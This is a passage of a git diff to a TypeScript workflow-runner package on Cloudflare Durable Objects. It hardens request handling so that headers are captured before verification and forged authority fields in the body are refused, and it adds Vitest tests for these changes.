claimResource: (kind, resourceId) => + claimResource.call(source, kind, resourceId), + releaseResource: (kind, resourceId) => + releaseResource.call(source, kind, resourceId), + resourceOwnerFor: (kind, resourceId) => + resourceOwnerFor.call(source, kind, resourceId), + canAccessResource: (kind, resourceId, access) => + canAccessResource.call(source, kind, resourceId, access), + canSelfDecide: (role) => canSelfDecide.call(source, role), + }; + return Object.freeze(captured); +} + /** Rebind mutations and reads to the common registered owner of trusted ids. */ export async function withRegisteredResourceOwner( context: ActorContext, resources: ResourceOwnershipStore, claims: readonly ResourceClaim[], ): Promise { - const owner = await requireCommonResourceOwner(resources, claims); - return { - ...context, + const captured = captureActorContext(context); + const registered = await requireCommonResourceOwner(resources, claims); + const owner = canonicalResourceOwner({ + kind: registered.kind, + id: registered.id, + }); + const rebound: ActorContext = { + ...captured, resourceOwner: owner, claimResource: async (kind, resourceId) => { if (!(await resources.claim(kind, resourceId, owner))) { @@ -194,14 +265,17 @@ export async function withRegisteredResourceOwner( return stored?.kind === owner.kind && stored.id === owner.id; }, }; + return Object.freeze(rebound); } export function createActorResolver( options: CreateActorResolverOptions, ): ActorResolver { + const mutationEpoch = normalizeMutationEpoch(options.mutationEpoch); const mintUuid = options.newRunId ?? (() => crypto.randomUUID()); return async (request) => { if ( + request.headers.has(MUTATION_EPOCH_HEADER) || request.headers.has(EXECUTION_PRINCIPAL_HEADER) || request.headers.has(DEPLOYMENT_IDENTITY_HEADER) || request.headers.has('x-flowsafe-actor') || @@ -223,6 +297,7 @@ export function createActorResolver( const principal = humanPrincipal(actor); return createPrincipalActorContext({ principal, + mutationEpoch, storeFactory: options.storeFactory, ...(options.deploymentTag !== undefined ? { deploymentTag: options.deploymentTag } diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index 2d342106..b003d5d4 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 import type { DurableObjectState } from '@cloudflare/workers-types'; -import { InMemoryStore } from '@mastra/core/storage'; +import { InMemoryStore, type MastraCompositeStore } from '@mastra/core/storage'; import type { DefaultEngineType, ExecuteFunction, @@ -27,6 +27,7 @@ import { } from '../host-kit/do-run-topology.js'; import type { DurableKeyValueStorage } from './cf-types.js'; import { + createD1Storage, type SnapshotDatabase, sweepExpiredRunDeadlines, } from './d1-storage.js'; @@ -38,11 +39,18 @@ import { type DurableObjectRunOwnershipStore, nextDutyAlarmAt, } from './durable-object.js'; +import { MUTATION_EPOCH_HEADER } from './execution-admission.js'; import type { ExecutionFenceDatabase } from './execution-fence.js'; import { ExecutionFenceStore } from './execution-fence.js'; import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, +} from './fenced-workflow-capability.js'; +import type { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { init } from './init.js'; import { + type RequestContextProvider, type RunnerRuntime, RunStateUnreadableError, type RunSummary, @@ -176,12 +184,17 @@ function newTestStartIdempotency(): StartIdempotencyStore { } function gatedRuntime( - storage: InMemoryStore, + storage: MastraCompositeStore, executionFence: ExecutionFenceStore = newTestExecutionFence(), + requestContextForRun?: RequestContextProvider, ): RunnerRuntime { const { createWorkflow, createStep, runtime } = init( { storage }, - { executionFence, startIdempotency: newTestStartIdempotency() }, + { + executionFence, + startIdempotency: newTestStartIdempotency(), + requestContextForRun, + }, ); const gate = createStep({ id: 'gate', @@ -335,6 +348,791 @@ async function startGated(runner: TestRunner): Promise { return (await response.json()) as RunSummary; } +function cDeferred() { + let resolve = () => {}; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +function cWorkflowFixture(owned = false, provider?: RequestContextProvider) { + const events: string[] = []; + const journal = recoveryStorage(events); + const env = makeProductionEnv(); + const binding = env.DB; + if (!binding) throw new Error('missing managed test database'); + const storage = owned ? createD1Storage({ binding }) : env.storage; + const runtime = gatedRuntime(storage, env.fence, provider); + env.runtime = runtime; + const runner = new TestRunner(journal.state, env); + const start = vi.spyOn(runtime, 'start'); + const reserve = vi.spyOn(env.owners, 'reserveAll'); + return { events, journal, env, storage, runtime, runner, start, reserve }; +} + +function cHoldWorkflowVerification(env: TestEnv) { + const entered = cDeferred(); + const release = cDeferred(); + const identity = deploymentIdentityDatabase(); + env.DB = { + prepare(query) { + const statement = identity.prepare(query); + return { + ...statement, + async all() { + const result = await statement.all(); + entered.resolve(); + await release.promise; + return result; + }, + }; + }, + }; + return { entered, release }; +} + +const C_WORKFLOW_BODY = { + workflowId: 'gated', + runId: 'c-run', + inputData: { topic: 'original' }, +}; +const C_REPLACEMENT_PRINCIPAL: ExecutionPrincipal = { + kind: 'service', + id: 'replacement', + purpose: 'replacement start', +}; + +async function cWorkflowBarrier(runner: TestRunner) { + const response = await runner.fetch( + deploymentIdentityRequest('http://do/runs/gated/c-run/start-liveness'), + ); + expect(response.status).toBe(200); +} + +async function cHoldWorkflowFifo(fixture: ReturnType) { + const entered = cDeferred(); + const release = cDeferred(); + const nativeStatus = fixture.runtime.status.bind(fixture.runtime); + const status = vi + .spyOn(fixture.runtime, 'status') + .mockImplementationOnce(async (...args) => { + entered.resolve(); + await release.promise; + return nativeStatus(...args); + }); + const holder = fixture.runner.fetch( + deploymentIdentityRequest('http://do/runs/gated/c-run/dispatch-status'), + ); + await entered.promise; + return { release, holder, status }; +} + +function cObserveFifo() { + const NativePromise = Promise; + const signal = cDeferred(); + let count = 0; + const Observed = new Proxy(NativePromise, { + construct(target, args) { + const stack = new Error().stack ?? ''; + const value = Reflect.construct(target, args, target); + if (stack.includes('#withOperationLock')) { + count++; + signal.resolve(); + } + return value; + }, + }); + vi.stubGlobal('Promise', Observed); + return { + enqueued: signal.promise, + count: () => count, + restore: () => vi.stubGlobal('Promise', NativePromise), + }; +} + +async function cRequireEpoch2(fence: ExecutionFenceStore | undefined) { + if (!fence) throw new Error('missing managed execution fence'); + await fence.seed('open'); + for (let index = 0; index < 2; index++) { + const before = await fence.read(); + const draining = await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + } + expect(await fence.read()).toMatchObject({ + state: 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); +} + +describe('C workflow ingress capture', () => { + it.each( + (['human', 'service', 'system'] as const).flatMap((kind) => + (['alternate', 'second-throw'] as const).flatMap((mode) => + (kind === 'human' ? [false, true] : [true]).map((scheduled) => ({ + kind, + mode, + scheduled, + })), + ), + ), + )('C workflow DO captures body and distinct source owner before waits ($kind, $mode, scheduled=$scheduled)', async ({ + kind, + mode, + scheduled, + }) => { + const fixture = cWorkflowFixture(); + const principal: ExecutionPrincipal = + kind === 'human' + ? { kind, id: 'initiator', role: 'operator' } + : { kind, id: `${kind}-initiator`, purpose: 'schedule execution' }; + const fence = fixture.env.fence; + if (!fence) throw new Error('missing workflow test fence'); + const fenceEntered = cDeferred(); + const fenceRelease = cDeferred(); + const sourceEntered = cDeferred(); + const sourceRelease = cDeferred(); + const copied = cDeferred(); + const copyRelease = cDeferred(); + const readFence = fence.read.bind(fence); + vi.spyOn(fence, 'read').mockImplementationOnce(async () => { + fenceEntered.resolve(); + await fenceRelease.promise; + return readFence(); + }); + const targetInput = { topic: 'scheduled-original' }; + const targetState = {}; + const targetContext = { 'test.source': 'original' }; + const target = { + type: 'workflow' as const, + workflowId: 'gated', + inputData: targetInput, + initialState: targetState, + requestContext: targetContext, + }; + const resolveTarget = vi.fn( + async () => { + sourceEntered.resolve(); + await sourceRelease.promise; + return target; + }, + ); + fixture.env.schedules = { resolveScheduleTarget: resolveTarget }; + const ownerValues: DurableObjectRunOwner = { + kind: 'human', + id: 'schedule-owner', + }; + const ownerReads = { + kind: vi.fn(() => ownerValues.kind), + id: vi.fn(() => ownerValues.id), + }; + const owner: DurableObjectRunOwner = { + get kind() { + return ownerReads.kind(); + }, + get id() { + return ownerReads.id(); + }, + }; + const nativeOwner = fixture.env.owners.owner.bind(fixture.env.owners); + vi.spyOn(fixture.env.owners, 'owner').mockImplementation( + async (resourceKind, id) => + resourceKind === 'schedule' ? owner : nativeOwner(resourceKind, id), + ); + const nativeGet = fixture.journal.storage.get.bind(fixture.journal.storage); + let held = false; + vi.spyOn(fixture.journal.storage, 'get').mockImplementation( + async (key: string) => { + if (!held && key === 'flowsafe:run-owner-recovery:v1') { + held = true; + copied.resolve(); + await copyRelease.promise; + } + return nativeGet(key); + }, + ); + const bodyInput = { topic: 'body-original' }; + const bodyState = {}; + const expectedOwner = scheduled + ? { kind: 'human', id: 'schedule-owner' } + : { kind: principal.kind, id: principal.id }; + const values = { + workflowId: 'gated', + runId: 'c-run', + inputData: bodyInput, + initialState: bodyState, + scheduleId: scheduled ? 'original-schedule' : undefined, + dispatchId: scheduled ? 'original-dispatch' : undefined, + deadlineMs: 1000, + idempotencyKey: 'original-key', + }; + const reads = new Map(); + const body = {}; + for (const key of Object.keys(values) as Array) + Object.defineProperty(body, key, { + enumerable: true, + configurable: true, + get() { + const count = (reads.get(key) ?? 0) + 1; + reads.set(key, count); + if (count > 1 && mode === 'second-throw') + throw new Error(`second body read: ${key}`); + return values[key]; + }, + }); + const request = post('/runs', C_WORKFLOW_BODY, principal); + request.headers.set(MUTATION_EPOCH_HEADER, '2'); + vi.spyOn(request, 'json').mockResolvedValue(body); + const writes: Array<[string, unknown]> = []; + const nativePut = fixture.journal.storage.put.bind(fixture.journal.storage); + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + writes.push([key, structuredClone(value)]); + await nativePut(key, value); + }, + ); + const pending = fixture.runner.fetch(request); + const outcome = pending.then( + () => false, + () => false, + ); + try { + expect( + await Promise.race([fenceEntered.promise.then(() => true), outcome]), + ).toBe(true); + expect([...reads.keys()].sort()).toEqual(Object.keys(values).sort()); + for (const count of reads.values()) expect(count).toBe(1); + Object.assign(values, { + workflowId: 'replacement', + runId: 'replacement', + inputData: { topic: 'replacement' }, + initialState: { replaced: true }, + scheduleId: 'replacement', + dispatchId: 'replacement', + deadlineMs: 9000, + idempotencyKey: 'replacement', + }); + fenceRelease.resolve(); + if (scheduled) { + expect( + await Promise.race([sourceEntered.promise.then(() => true), outcome]), + ).toBe(true); + expect(resolveTarget).toHaveBeenCalledWith( + 'original-schedule', + 'original-dispatch', + 'c-run', + ); + sourceRelease.resolve(); + } + expect( + await Promise.race([copied.promise.then(() => true), outcome]), + ).toBe(true); + if (!scheduled) expect(resolveTarget).not.toHaveBeenCalled(); + expect(ownerReads.kind).toHaveBeenCalledTimes(scheduled ? 1 : 0); + expect(ownerReads.id).toHaveBeenCalledTimes(scheduled ? 1 : 0); + Object.assign(ownerValues, { kind: 'service', id: 'replacement-owner' }); + Object.assign(target, { + workflowId: 'replacement', + inputData: { topic: 'replacement-target' }, + initialState: { replaced: true }, + requestContext: { replaced: true }, + }); + } finally { + fenceRelease.resolve(); + sourceRelease.resolve(); + copyRelease.resolve(); + await outcome; + } + const response = await pending; + expect(response.status).toBe(200); + expect(fixture.start).toHaveBeenCalledOnce(); + expect(fixture.start.mock.calls[0]?.[0]).toBe('gated'); + const options = fixture.start.mock.calls[0]?.[1]; + expect(options).toMatchObject({ + runId: 'c-run', + deadlineMs: 1000, + idempotencyKey: 'original-key', + mutationEpoch: 2, + requestedBy: principal.id, + requestedByKind: principal.kind, + startIdentity: { + owner: { kind: principal.kind, id: principal.id }, + target: { kind: 'workflow', id: 'gated' }, + }, + runOwnerGuard: { owner: expectedOwner }, + }); + expect(options?.inputData).toBe(scheduled ? targetInput : bodyInput); + expect(options?.initialState).toBe(scheduled ? targetState : bodyState); + expect(options?.storedRequestContext).toBe( + scheduled ? targetContext : undefined, + ); + expect(options?.runOwnerGuard?.reservationToken).toBe( + options?.attemptToken, + ); + expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true); + expect(options?.onPreparedStartIdentity).toBeUndefined(); + expect(fixture.reserve.mock.calls[0]).toEqual([ + [{ kind: 'run', resourceId: 'c-run' }], + expectedOwner, + options?.attemptToken, + ]); + expect( + writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery')), + ).toEqual([ + [ + 'flowsafe:run-owner-recovery:v1', + { + version: 1, + workflowId: 'gated', + runId: 'c-run', + token: options?.attemptToken, + }, + ], + ]); + for (const count of reads.values()) expect(count).toBe(1); + expect(ownerReads.kind).toHaveBeenCalledTimes(scheduled ? 1 : 0); + expect(ownerReads.id).toHaveBeenCalledTimes(scheduled ? 1 : 0); + expect(Object.isFrozen(body)).toBe(false); + expect(Object.isFrozen(owner)).toBe(false); + }); + + it.each( + [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ].flatMap((field) => [null, 2].map((value) => ({ field, value }))), + )('C workflow DO refuses internal JSON authority before effects ($field, $value)', async ({ + field, + value, + }) => { + const fixture = cWorkflowFixture(); + const build = vi.spyOn( + fixture.runner as unknown as { build: () => RunnerRuntime }, + 'build', + ); + const response = await fixture.runner.fetch( + post('/runs', { ...C_WORKFLOW_BODY, [field]: value }), + ); + expect(response.status).toBe(400); + expect(await response.json()).toEqual({ + error: 'start authority is derived from trusted provenance', + }); + expect(build).not.toHaveBeenCalled(); + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.reserve).not.toHaveBeenCalled(); + expect(fixture.events).toEqual([]); + expect(fixture.journal.values.size).toBe(0); + expect( + (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status, + ).toBe(200); + expect(fixture.start).toHaveBeenCalledOnce(); + }); + + it.each([ + 'normal', + 'failure', + 'recovery', + ] as const)('C workflow host preserves v1 owner recovery without automatic activation: %s', async (phase) => { + const failure = new Error('C managed provider failed'); + const fixture = cWorkflowFixture( + true, + phase === 'failure' + ? () => { + throw failure; + } + : undefined, + ); + await fixture.storage.init(); + await cRequireEpoch2(fixture.env.fence); + const workflows = (await fixture.storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing managed owned workflow capability'); + const counts = { admission: 0, terminalization: 0 }; + const capability: FencedWorkflowAdmissionCapability = { + ...native, + withInitialAdmission: (input, create) => { + counts.admission++; + return native.withInitialAdmission(input, create); + }, + terminalizeInitialAdmission: (input) => { + counts.terminalization++; + return native.terminalizeInitialAdmission(input); + }, + }; + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); + const writes: Array<[string, unknown]> = []; + const put = fixture.journal.storage.put.bind(fixture.journal.storage); + vi.spyOn(fixture.journal.storage, 'put').mockImplementation( + async (key, value) => { + writes.push([key, structuredClone(value)]); + await put(key, value); + }, + ); + const settle = fixture.env.owners.settleReservation.bind( + fixture.env.owners, + ); + if (phase === 'recovery') + vi.spyOn(fixture.env.owners, 'settleReservation').mockImplementationOnce( + async (...args) => { + await settle(...args); + throw new Error('C lost settlement receipt'); + }, + ); + const request = post('/runs', C_WORKFLOW_BODY); + request.headers.set(MUTATION_EPOCH_HEADER, '2'); + try { + const response = await fixture.runner.fetch(request); + expect(response.status).toBe(phase === 'failure' ? 500 : 200); + expect(fixture.start).toHaveBeenCalledOnce(); + const options = fixture.start.mock.calls[0]?.[1]; + expect(options).toHaveProperty('onPreparedStartIdentity', undefined); + expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe( + true, + ); + const journals = writes.filter(([key]) => + key.startsWith('flowsafe:run-owner-recovery'), + ); + expect(journals).toEqual([ + [ + 'flowsafe:run-owner-recovery:v1', + { + version: 1, + workflowId: 'gated', + runId: 'c-run', + token: options?.attemptToken, + }, + ], + ]); + const snapshot = await workflows.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }); + if (phase === 'failure') expect(snapshot).toBeNull(); + else { + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: OWNER_PRINCIPAL.kind, + startToken: options?.attemptToken, + attemptToken: options?.attemptToken, + resumeCounts: [], + }); + for (const key of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'flowsafe.initialAdmission', + ]) + expect(snapshot?.requestContext).not.toHaveProperty(key); + } + if (phase === 'recovery') + expect( + fixture.journal.values.has('flowsafe:run-owner-recovery:v1'), + ).toBe(true); + await fixture.runner.alarm(); + expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe( + false, + ); + if (phase !== 'failure') { + const resumed = await fixture.runner.fetch( + post('/runs/gated/c-run/resume', { + step: 'gate', + resumeData: { approvedBy: 'reviewer-1' }, + }), + ); + expect(resumed.status).toBe(200); + expect(await resumed.json()).toMatchObject({ status: 'success' }); + await fixture.runner.alarm(); + } + expect( + writes.filter(([key]) => key.startsWith('flowsafe:run-owner-recovery')), + ).toEqual(journals); + } finally { + expect(counts).toEqual({ admission: 0, terminalization: 0 }); + } + }); + + it.each([ + undefined, + 1, + 2, + 3, + ])('C does not enforce active mutation epoch at workflow DO start: %s', async (epoch) => { + const fixture = cWorkflowFixture(true); + await fixture.storage.init(); + await cRequireEpoch2(fixture.env.fence); + const request = post('/runs', C_WORKFLOW_BODY); + if (epoch !== undefined) + request.headers.set(MUTATION_EPOCH_HEADER, String(epoch)); + const response = await fixture.runner.fetch(request); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + runId: 'c-run', + status: 'suspended', + }); + expect(fixture.start).toHaveBeenCalledOnce(); + const options = fixture.start.mock.calls[0]?.[1]; + expect(options?.mutationEpoch).toBe(epoch); + expect(options).toHaveProperty('onPreparedStartIdentity', undefined); + expect(options?.startIdentity).toEqual({ + owner: { kind: OWNER_PRINCIPAL.kind, id: OWNER_PRINCIPAL.id }, + target: { kind: 'workflow', id: 'gated' }, + }); + const workflows = await fixture.storage.getStore('workflows'); + const snapshot = await workflows?.loadWorkflowSnapshot({ + workflowName: 'gated', + runId: 'c-run', + }); + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: OWNER_PRINCIPAL.kind, + startToken: options?.attemptToken, + attemptToken: options?.attemptToken, + resumeCounts: [], + }); + expect(snapshot?.requestContext).not.toHaveProperty( + 'flowsafe.initialAdmission', + ); + await cWorkflowBarrier(fixture.runner); + }); + + it.each([ + undefined, + 0, + 2, + Number.MAX_SAFE_INTEGER, + ])('C captures workflow headers before deployment verification: %s', async (epoch) => { + const fixture = cWorkflowFixture(); + const hold = cHoldWorkflowVerification(fixture.env); + const request = post('/runs', C_WORKFLOW_BODY); + if (epoch !== undefined) + request.headers.set(MUTATION_EPOCH_HEADER, String(epoch)); + const pending = fixture.runner.fetch(request); + try { + await hold.entered.promise; + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.events).toEqual([]); + request.headers.set( + EXECUTION_PRINCIPAL_HEADER, + encodeExecutionPrincipal(C_REPLACEMENT_PRINCIPAL), + ); + request.headers.set(MUTATION_EPOCH_HEADER, '3'); + } finally { + hold.release.resolve(); + await pending; + } + expect((await pending).status).toBe(200); + expect(fixture.start).toHaveBeenCalledTimes(1); + const options = fixture.start.mock.calls[0]?.[1]; + expect(options).toMatchObject({ + requestedBy: OWNER_PRINCIPAL.id, + requestedByKind: OWNER_PRINCIPAL.kind, + startIdentity: { + owner: { kind: 'human', id: 'owner-1' }, + target: { kind: 'workflow', id: 'gated' }, + }, + runOwnerGuard: { + owner: { kind: 'human', id: 'owner-1' }, + reservationToken: options?.attemptToken, + }, + }); + expect(options?.mutationEpoch).toBe(epoch); + expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true); + expect(options?.onPreparedStartIdentity).toBeUndefined(); + }); + + it.each([ + undefined, + 2, + ])('C preserves queued workflow authority through the operation FIFO: %s', async (epoch) => { + const fixture = cWorkflowFixture(); + const hold = await cHoldWorkflowFifo(fixture); + const request = post('/runs', C_WORKFLOW_BODY); + if (epoch !== undefined) + request.headers.set(MUTATION_EPOCH_HEADER, String(epoch)); + const body = vi.spyOn(request, 'json'); + const observation = cObserveFifo(); + const pending = fixture.runner.fetch(request); + try { + expect( + await Promise.race([ + observation.enqueued.then(() => 'queued'), + pending.then(() => 'response'), + ]), + ).toBe('queued'); + expect(observation.count()).toBe(1); + expect(body).not.toHaveBeenCalled(); + expect(fixture.start).not.toHaveBeenCalled(); + request.headers.set( + EXECUTION_PRINCIPAL_HEADER, + encodeExecutionPrincipal(C_REPLACEMENT_PRINCIPAL), + ); + request.headers.set(MUTATION_EPOCH_HEADER, '3'); + } finally { + observation.restore(); + hold.release.resolve(); + await Promise.allSettled([hold.holder, pending]); + } + expect((await pending).status).toBe(200); + expect(fixture.start.mock.calls[0]?.[1]).toMatchObject({ + requestedBy: 'owner-1', + requestedByKind: 'human', + }); + expect(fixture.start.mock.calls[0]?.[1].mutationEpoch).toBe(epoch); + expect(body).toHaveBeenCalledTimes(1); + }); + + it.each([ + null, + 'invalid', + ])('C refuses invalid workflow principal before joining the FIFO: %s', async (principal) => { + const fixture = cWorkflowFixture(); + const hold = await cHoldWorkflowFifo(fixture); + const request = post('/runs', C_WORKFLOW_BODY); + if (principal === null) request.headers.delete(EXECUTION_PRINCIPAL_HEADER); + else request.headers.set(EXECUTION_PRINCIPAL_HEADER, principal); + const body = vi.spyOn(request, 'json'); + const observation = cObserveFifo(); + const pending = fixture.runner.fetch(request); + try { + expect( + await Promise.race([ + pending.then(() => 'response'), + observation.enqueued.then(() => 'queued'), + ]), + 'refusal completes without joining the held FIFO', + ).toBe('response'); + expect(observation.count()).toBe(0); + expect(body).not.toHaveBeenCalled(); + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.reserve).not.toHaveBeenCalled(); + } finally { + observation.restore(); + hold.release.resolve(); + await Promise.allSettled([hold.holder, pending]); + } + expect((await pending).status).toBe(403); + expect(await (await pending).json()).toEqual({ + error: 'run request carries no valid trusted execution principal', + }); + }); + + it.each([ + ['credential', 'wrong-secret', 'globex', 503, 'credential'], + [ + 'deployment', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 'globex', + 503, + "belongs to 'globex'", + ], + [ + 'epoch', + TEST_DEPLOYMENT_IDENTITY_SECRET, + 'acme', + 400, + 'mutationEpoch must be a nonnegative safe integer or undefined', + ], + ] as const)('C workflow ingress refuses combined invalid authority before route: %s', async (_label, secret, tag, status, error) => { + const fixture = cWorkflowFixture(); + fixture.env.DB = deploymentIdentityDatabase(tag); + const request = deploymentIdentityRequest( + 'http://do/runs', + { method: 'POST', body: JSON.stringify(C_WORKFLOW_BODY) }, + secret, + ); + request.headers.set(MUTATION_EPOCH_HEADER, '01'); + request.headers.set(EXECUTION_PRINCIPAL_HEADER, 'invalid'); + const build = vi.spyOn( + fixture.runner as unknown as { build: () => RunnerRuntime }, + 'build', + ); + const response = await fixture.runner.fetch(request); + expect(response.status).toBe(status); + const result = (await response.json()) as { error: string }; + expect(result.error).toContain(error); + if (status === 400) + expect(result).toEqual({ + error, + reason: { code: 'INVALID_MUTATION_EPOCH' }, + }); + expect(build).not.toHaveBeenCalled(); + expect(fixture.events).toEqual([]); + expect(fixture.start).not.toHaveBeenCalled(); + expect(fixture.reserve).not.toHaveBeenCalled(); + }); + + it('C workflow status and liveness remain principal-free', async () => { + const fixture = cWorkflowFixture(); + const started = await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY)); + expect(started.status).toBe(200); + const response = await fixture.runner.fetch( + deploymentIdentityRequest('http://do/runs/gated/c-run'), + ); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + runId: 'c-run', + status: 'suspended', + }); + await cWorkflowBarrier(fixture.runner); + }); + + it.each([ + 'terminate', + 'deadline', + ] as const)('C workflow %s uses the pre-verifier principal string', async (action) => { + const fixture = cWorkflowFixture(); + const hold = cHoldWorkflowVerification(fixture.env); + const cancel = vi + .spyOn(fixture.runtime, 'cancelActiveExecution') + .mockResolvedValue(false); + const request = post(`/runs/gated/c-run/${action}`, { + expectedRevision: 0, + expectedDeadlineAt: null, + }); + const pending = fixture.runner.fetch(request); + try { + await hold.entered.promise; + request.headers.set( + EXECUTION_PRINCIPAL_HEADER, + 'invalid-after-verification', + ); + } finally { + hold.release.resolve(); + await pending; + } + expect((await pending).status).not.toBe(403); + if (action === 'terminate') + expect(cancel.mock.calls[0]?.[3]?.[0]).toEqual(OWNER_PRINCIPAL); + }); +}); + describe('DurableObjectRunner.fetch', () => { it('rejects a start without a trusted execution principal before runtime or ownership work', async () => { const reserve = vi.fn(async () => true); diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index 3ea9ee7a..bc3c2bb6 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -27,6 +27,11 @@ import { verifyDurableObjectDeploymentRequest, } from './deployment-identity.js'; import { DoStatusError, doErrorResponse } from './do-error-response.js'; +import { + MUTATION_EPOCH_HEADER, + mutationEpochFromHeader, + normalizeStartIdentity, +} from './execution-admission.js'; import { admitsExistingRun, admitsRunStart, @@ -282,13 +287,16 @@ export abstract class DurableObjectRunner { async fetch(request: Request): Promise { try { + const encodedPrincipal = request.headers.get(EXECUTION_PRINCIPAL_HEADER); + const encodedEpoch = request.headers.get(MUTATION_EPOCH_HEADER); // Deployment-identity check BEFORE any routing or storage work: under // workerd this instance refuses to serve until its env tag matches the // database sentinel (fail closed on a mis-provisioned binding); off // workerd (node tests, state undefined) it is a no-op. Memoized after // the first success, so steady-state requests pay nothing. await verifyDurableObjectDeploymentRequest(request, this.state, this.env); - return await this.#route(request); + const mutationEpoch = mutationEpochFromHeader(encodedEpoch); + return await this.#route(request, encodedPrincipal, mutationEpoch); } catch (error) { return doErrorResponse(error); } @@ -409,8 +417,7 @@ export abstract class DurableObjectRunner { return value; } - #trustedExecutionPrincipal(request: Request): ExecutionPrincipal { - const encoded = request.headers.get(EXECUTION_PRINCIPAL_HEADER); + #trustedExecutionPrincipal(encoded: string | null): ExecutionPrincipal { const principal = encoded ? decodeExecutionPrincipal(encoded) : undefined; if (!principal) { throw new DurableObjectRunIdentityError( @@ -1458,29 +1465,59 @@ export abstract class DurableObjectRunner { }); } - async #route(request: Request): Promise { + async #route( + request: Request, + encodedPrincipal: string | null, + mutationEpoch: number | undefined, + ): Promise { const segments = new URL(request.url).pathname.split('/').filter(Boolean); if (segments[0] !== 'runs') return json({ error: 'not found' }, 404); const [, workflowId, runId, action] = segments; if (request.method === 'POST' && segments.length === 1) { + const principal = this.#trustedExecutionPrincipal(encodedPrincipal); return this.#withOperationLock(async () => { - const principal = this.#trustedExecutionPrincipal(request); const body = await readJson(request); - if (!body || typeof body.workflowId !== 'string') { + if ( + body && + [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ].some((key) => Object.hasOwn(body, key)) + ) { + throw new InvalidRunRequestError( + 'start authority is derived from trusted provenance', + ); + } + const { + workflowId, + runId, + inputData, + initialState, + scheduleId, + dispatchId, + deadlineMs, + idempotencyKey: rawIdempotencyKey, + } = body ?? {}; + if (typeof workflowId !== 'string') { return json({ error: 'workflowId is required' }, 400); } // The DO never generates a runId: the trusted Worker mints the id and // addresses this instance with it. A start without one is a caller bug, // not a request for generation. - if (typeof body.runId !== 'string') { + if (typeof runId !== 'string') { return json( { error: 'runId is required (server-minted by the run router)' }, 400, ); } - const workflowId = body.workflowId; - const runId = body.runId; if (!isPathSafeId(workflowId) || !isPathSafeId(runId)) { throw new InvalidRunRequestError( 'workflowId and runId must be URL-path-safe identifiers', @@ -1491,7 +1528,11 @@ export abstract class DurableObjectRunner { // rather than trusted because this body is JSON: an unvalidated value // would reach the fence's proof-only comparison and the runtime's // reservation as whatever the parser produced. - const idempotencyKey = this.#startIdempotencyKey(body.idempotencyKey); + const idempotencyKey = this.#startIdempotencyKey(rawIdempotencyKey); + const startIdentity = normalizeStartIdentity({ + owner: { kind: principal.kind, id: principal.id }, + target: { kind: 'workflow', id: workflowId }, + }); // The fence BEFORE any of this object's own reads or writes: the // schedule-source lookup below, the recovery pass, the journal at // #armRunOwnerRecovery, and the owner reservation all touch storage, @@ -1515,9 +1556,15 @@ export abstract class DurableObjectRunner { principal, workflowId, runId, - body.scheduleId, - body.dispatchId, + scheduleId, + dispatchId, ); + const rawOwner = source.owner; + const owner = Object.freeze({ kind: rawOwner.kind, id: rawOwner.id }); + const target = source.target; + const resolvedInput = target ? target.inputData : inputData; + const resolvedState = target ? target.initialState : initialState; + const storedRequestContext = target?.requestContext; const runtime = this.#ensureRuntime(); await this.#recoverPendingRunOwner(); // Stays on status(), and NOT because failing open would be safer: the @@ -1533,8 +1580,8 @@ export abstract class DurableObjectRunner { ); if ( !registered || - registered.kind !== source.owner.kind || - registered.id !== source.owner.id + registered.kind !== owner.kind || + registered.id !== owner.id ) { throw new Error( `existing run '${runId}' has no matching committed owner`, @@ -1560,27 +1607,27 @@ export abstract class DurableObjectRunner { // window where nothing else can see the run — is covered too. this.#startsInFlight.add(this.#inFlightKey(workflowId, runId)); try { - await 